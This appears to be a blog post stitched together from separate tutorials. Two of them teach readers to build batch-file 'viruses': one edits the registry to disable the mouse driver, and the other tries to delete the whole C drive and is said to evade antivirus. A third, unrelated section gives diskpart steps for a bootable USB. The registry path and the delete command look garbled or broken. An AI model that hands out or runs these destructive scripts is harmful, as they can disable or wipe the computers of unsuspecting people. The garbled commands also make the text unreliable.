I had previously posted on making different batch files like matrix effect, opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harm-full it will disable your mouse so think before trying it on yourself.

How To Disable Mouse

  1. Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesMouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

  2. Save this file as  virus.bat

  3. Done you just created your virus.

In my previous post i had teach you guys to create virus that disable mouse andVirus to format Hard Disk. In this post i will teach you to make simple yet very powerful or you can say dangerous computer virus using a batch file. Nosoftware is required to make this virus, Notepad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C: *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please dont try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

how to make a bootable USB with the help of CMD.You can Make Bootable USB of Windows 7/windows 8 by Command prompt. Follow these simple steps.. 

>Insert your Pen drive and press the start button.

>Type cmd and right click on it and start this with administrator right.

>Now on the command prompt, type the following commands

->Diskpart

List disk

// List disk command will generate the list of Disk connected to your computer like Hard disk and USB disk. This will be like in figure.

After this

->Select disk 1 // in my case USB it is as disk 1

->Clean

->Create partition primary

->Active

->Format fs=ntfs quick // Format File system=NTFS quick(don’t use Quick for deep format, just use format fs=ntfs)

->Assign

->Exit

Now copy all the files of Bootable CD to pendrive.

Just reboot your computer, enter in BIOS setup and select boot device priority as

* USB

* HDD

* CD/DVD

* Network (Other)

And Tap [F10] to save and Exit.

Enjoy.......!!!